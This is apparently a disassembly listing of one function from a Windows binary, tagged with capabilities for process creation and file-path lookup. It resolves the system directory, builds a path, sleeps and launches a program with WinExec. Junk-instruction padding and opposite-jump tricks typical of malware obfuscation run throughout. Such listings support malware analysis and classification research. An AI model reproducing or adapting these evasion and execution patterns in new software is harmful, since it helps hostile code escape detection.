Function at 0x401540
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
pushal
test bx, 0xa43
cmp ch, 0x6e
sub ch, bl
cmp dx, 0x7a98
sub ecx, edx
popal
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x214]
push esi
push ecx
lea edx, [ebp - 0x110]
push 0x4110a4
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
push ecx
call fcn.00402a20
js 0x401608
mov edx, edx
jns 0x401608
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp dword [ebx + 0x458bf855], ecx
cld
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov ebx, dword [ebp + 0xc]
push edx
mov edx, dword [ebp + 0x10]
push eax
push ecx
push edx
push ebx
push esi
call fcn.00404830
add esp, 0x20
test eax, eax
jne 0x401630
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jbe 0x401642
xchg bh, bh
mov ch, ch
xchg cl, cl
ja 0x401642
call fcn.00403370
mov dword [0x422540], eax
jbe 0x401663
push eax
pop eax
ja 0x401663
pop esi
fisubr dword [ecx + 0x7a96ed64]
dec esp
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push eax
lea edx, [ebp - 0x110]
push ecx
push edx
call fcn.00404560
add esp, 0xc
test eax, eax
jne 0x401685
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
push edi
push ax
test di, 0x934
test edi, 0x48bd
and edi, eax
and ch, 0xb
cmp cl, 0x6f
mov cl, 0xc
sub di, 0x5090
test cx, di
pop ax
pop edi
pop ecx
je 0x4016b6
push ecx
mov cx, 0xec17
pop ecx
jne 0x4016b6
pushfd
popfd
call fcn.004043f0
push edx
push ax
sub edx, eax
cmp dx, cx
add edx, 0x1ab
xor ax, 0x2160
test bh, dl
test di, dx
pop ax
pop edx
push 0x4110dc
call fcn.00404650
add esp, 4
cmp eax, 0xffffffff
je 0x4016ee
mov edi, 0xe
jmp 0x401705
push 0x4110d0
call fcn.00404650
add esp, 4
cmp eax, 0xffffffff
je 0x401740
mov edi, 0xf
push ebx
push esi
call fcn.00402680
add esp, 8
test eax, eax
je 0x40172e
push edi
call fcn.00402db0
push edi
call fcn.00402ff0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x422540]
test eax, eax
jne 0x401740
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push cx
push dx
push eax
cmp dx, cx
inc eax
or cx, cx
inc al
inc cx
test al, 0x3b
and ch, al
mov eax, edx
and cx, 0x7bc9
pop eax
pop dx
pop cx
lea eax, [ebp - 0x110]
push eax
push esi
call fcn.00404ba0
add esp, 8
test eax, eax
jne 0x401777
mov dword [ebp - 0xc], eax
pushal
test si, di
and ch, dl
and ax, cx
test dl, ah
cmp dh, 0x36
popal
mov esi, dword [ebp - 0xc]
test esi, esi
je 0x4017a2
mov ecx, dword [ebp + 8]
push ecx
call fcn.00402700
add esp, 4
test eax, eax
jne 0x4017a2
mov dword [ebp - 0xc], eax
mov esi, eax
je 0x4017b1
mov di, di
mov edx, edx
xchg ebx, ebx
jne 0x4017b1
enter 0x5e1b, 0x11
test esi, esi
jne 0x4017c7
mov edx, dword [ebp + 8]
push esi
push edx
call fcn.00402ab0
add esp, 8
mov dword [ebp - 0xc], eax
mov esi, eax
push ebx
push ecx
or bl, ah
sub cl, 0x27
cmp bh, 8
and cx, 0x784f
and bx, 0x94f
pop ecx
pop ebx
test esi, esi
je 0x4017eb
push 0xffffffffffffffff
call fcn.00402ff0
add esp, 4
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jle 0x401811
jg 0x401811
inc ebx
xor byte [eax + 0x6a39da56], cl
add byte [eax - 0x10], ch
adc byte [ecx], al
push 0
push 0x4110f0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret